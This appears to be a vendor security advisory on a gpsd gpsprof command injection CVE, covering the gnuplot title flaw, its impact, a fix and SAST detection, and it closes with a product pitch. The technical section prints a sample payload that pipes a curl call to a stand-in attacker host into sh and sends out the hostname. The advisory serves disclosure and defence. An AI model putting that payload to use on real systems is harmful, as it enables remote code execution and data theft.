gpsd gpsprof Gnuplot Command Injection
CVE-2026-58459: gpsd's gpsprof tool allows attackers who control GPS device subtype values to execute arbitrary shell commands via unsanitized gnuplot titles.
Overview
CVE-2026-58459 is a command injection vulnerability in gpsprof, the profiling and visualization utility bundled with the widely-used gpsd GPS daemon. The flaw exists because GPS device subtype strings — sourced from either a DEVICES JSON log entry or an NMEA PGRMT sentence — are interpolated directly into a generated gnuplot script’s set title statement with only double-quote characters escaped. When that gnuplot script is rendered, any backtick sequences embedded in the subtype value are evaluated by the shell, resulting in arbitrary command execution in the security context of the user running gpsprof.
The vulnerability affects all releases up to and including release-3.27.5 and was fixed at commit 4c06658. It was reported and tracked publicly via the gpsd project’s GitLab issue tracker. Because gpsd is a foundational component in embedded navigation systems, marine electronics, precision timing infrastructure (NTP appliances, PTP grandmasters), and scientific instruments, the attack surface is broader than the utility’s name might suggest.
The exploitability requires that an attacker can influence the subtype field presented by a GPS device — either by controlling the physical or virtual GPS device, by injecting a malicious NMEA sentence over a serial or network connection, or by supplying a crafted DEVICES log file to gpsprof for offline analysis. The last scenario is particularly relevant in automated data-processing pipelines where log files from remote or untrusted sources are routinely fed into gpsprof for charting.
Technical Analysis
The root cause lives in gpsprof’s gnuplot script generator. When constructing the plot title for the output graph, the code reads the subtype field from the GPS device record and interpolates it into a gnuplot set title statement. The only sanitization applied is the escaping of literal double-quote characters ("), which is wholly inadequate because gnuplot evaluates backtick expressions — and other shell-delegating constructs — inside quoted strings at render time.
The vulnerable pattern looks structurally like this:
# VULNERABLE — gpsprof, affected up to release-3.27.5
def make_gnuplot_header(session, device):
subtype = device.get("subtype", "unknown")
# Only double-quotes are escaped — backticks and other shell
# metacharacters pass through unmodified.
escaped_subtype = subtype.replace('"', '\\"')
title_line = 'set title "GPS Profile: {}"\n'.format(escaped_subtype)
return title_line
When subtype contains a backtick payload such as:
GPS Module `curl http://attacker.example/exfil?h=$(hostname)|sh`
the generated gnuplot script becomes:
set title "GPS Profile: GPS Module `curl http://attacker.example/exfil?h=$(hostname)|sh`"
Gnuplot delegates backtick expressions to the system shell during string evaluation, so when this script is processed by gnuplot, the embedded command executes immediately. Because gnuplot itself is what interprets the backtick, and gnuplot is typically invoked by gpsprof using subprocess or a similar mechanism, the shell command runs with the full privileges of the user who launched gpsprof.
The subtype value reaches gpsprof through two distinct vectors:
- Live device session: The
DEVICESresponse fromgpsd’s JSON protocol includes asubtypefield populated from the GPS receiver’s firmware identification string, which can be spoofed by a malicious or compromised device. - Offline log replay:
gpsprofaccepts pre-recorded log files for offline plot generation. A crafted log file containing a malicioussubtypevalue in theDEVICESJSON object triggers the same code path without any physical device being present.
The CWE classification is CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’), with the injection point being the gnuplot script as an intermediary that itself performs shell delegation.
Impact
An attacker who can deliver a malicious subtype string achieves arbitrary shell command execution as the OS user running gpsprof. On NTP appliances and timing servers where gpsd feeds a GPS PPS source, this process frequently runs as root or a privileged system account. On workstations used by navigation engineers or researchers, it runs as the authenticated user — sufficient for credential theft, lateral movement, or data exfiltration.
Concretely exploitable scenarios include:
- Supply-chain log injection: An attacker submits a crafted
gpsdlog file to a data processing team. When an analyst runsgpsprofto visualize it, the embedded payload executes. - Rogue device: A compromised or attacker-controlled GPS receiver broadcasts a firmware identification string containing a backtick payload. Any operator who later runs
gpsprofagainst a live session with that device triggers execution. - Automated CI/CD pipelines: Organizations that automate timing or positioning audits by running
gpsprofagainst log archives from field deployments are silently vulnerable to batch exploitation.
The CVSS 7.8 HIGH score (local vector) reflects that physical or logical access to the GPS input is required, but this access is realistic in many deployment models and does not require network adjacency to the target machine running gpsprof.
How to Fix It
The fix, applied at commit 4c06658, replaces naive double-quote escaping with a shell-safe sanitization approach that strips or replaces all gnuplot/shell metacharacters from the subtype string before interpolation.
A correct implementation follows the principle of allowlist sanitization — retaining only characters that are safe in gnuplot string contexts:
import re
# FIXED — strip all characters that are not alphanumeric,
# spaces, hyphens, underscores, dots, or commas.
# Backticks, dollar signs, semicolons, and other shell
# metacharacters are eliminated before interpolation.
_SAFE_TITLE_RE = re.compile(r'[^\w\s\-.,]')
def make_gnuplot_header(session, device):
subtype = device.get("subtype", "unknown")
safe_subtype = _SAFE_TITLE_RE.sub('', subtype)
title_line = 'set title "GPS Profile: {}"\n'.format(safe_subtype)
return title_line
Alternatively, the subtype value can be passed as a gnuplot variable rather than being interpolated directly into the script body, which prevents shell evaluation entirely:
# Pass value via gnuplot -e flag — no shell expansion occurs
gnuplot -e "subtype='<sanitized_value>'" profile.gnuplot
To remediate immediately:
- From source: Upgrade to commit
4c06658or later from the official gpsd repository. - Debian/Ubuntu (when a patched package is available):
sudo apt update && sudo apt install --only-upgrade gpsd - Fedora/RHEL:
sudo dnf upgrade gpsd
Until a patched package is available in your distribution, avoid running gpsprof against log files from untrusted sources and restrict serial/network access to the gpsd socket to trusted devices only.
Our Take
This vulnerability is a textbook example of the trust-boundary failure that plagues tools which consume external data and feed it into secondary interpreters — in this case, gnuplot acting as a shell-delegating scripting engine. Developers building visualization pipelines around domain-specific tools like gnuplot, R, or Graphviz often underestimate the execution semantics of those tools and apply only surface-level escaping (protecting against the most obvious injection — quote breaking) while missing deeper evaluation paths like backtick substitution.
The pattern is persistent precisely because it is indirect. The vulnerable code does not call subprocess or os.system with attacker data; it writes a text file. The shell execution happens one step later, inside gnuplot, making the data flow harder to trace statically and easy to overlook in manual code review.
For enterprises operating timing infrastructure, marine navigation systems, or scientific instrumentation, this is a reminder that data-processing utilities — even those that appear purely analytical — must be treated as trusted execution environments with properly validated inputs.
Detection with SAST
SAST detection of this vulnerability class focuses on taint-tracking from externally controlled data sources through string formatting or concatenation operations into file write sinks, where the written content is subsequently consumed by a secondary interpreter with shell-evaluation semantics.
Offensive360’s engine flags this pattern under CWE-78 with the following heuristics:
- Taint source identification: Fields read from JSON, NMEA sentences, serial device responses, or log files are marked tainted.
- Propagation tracking: Taint is tracked through
.format(), f-strings,%formatting, and concatenation operations even when intermediate escaping functions are applied — partial escaping (e.g., only escaping") does not clear the taint flag. - Sink recognition: File write operations producing
.gnuplot,.plt,.gp,.r,.R, or.tclfiles are recognized as secondary-interpreter sinks. Any tainted data reaching these sinks triggers a HIGH-severity finding. - Secondary interpreter modeling: Offensive360 models gnuplot’s backtick and
system()evaluation semantics, R’ssystem()calls within scripts, and similar constructs, enabling the engine to reason about the full two-step execution chain rather than stopping at the file-write boundary.
Rules additionally cover CWE-116 (Improper Encoding or Escaping of Output) where escaping functions demonstrably fail to neutralize all relevant metacharacters for the target interpreter.
References
- https://github.com/ntpsec/gpsd/commit/1a6bb7bcbdf58aa940132e630870af061dc88537
- https://github.com/ntpsec/gpsd/commit/4c06658e988f4ced1a7a574ce082a22ef625df56
- https://github.com/ntpsec/gpsd/commit/5581ba196d826a984fbfaf792b7d58535f9911ce
- https://gitlab.com/gpsd/gpsd/-/work_items/404#note_3534119267
- https://www.vulncheck.com/advisories/gpsd-gpsprof-command-injection-via-gnuplot-plot-title-subtype-field
Detect this vulnerability class in your codebase
Offensive360 SAST scans your source code for CVE-2026-58459-class vulnerabilities and thousands of other patterns — across 60+ languages.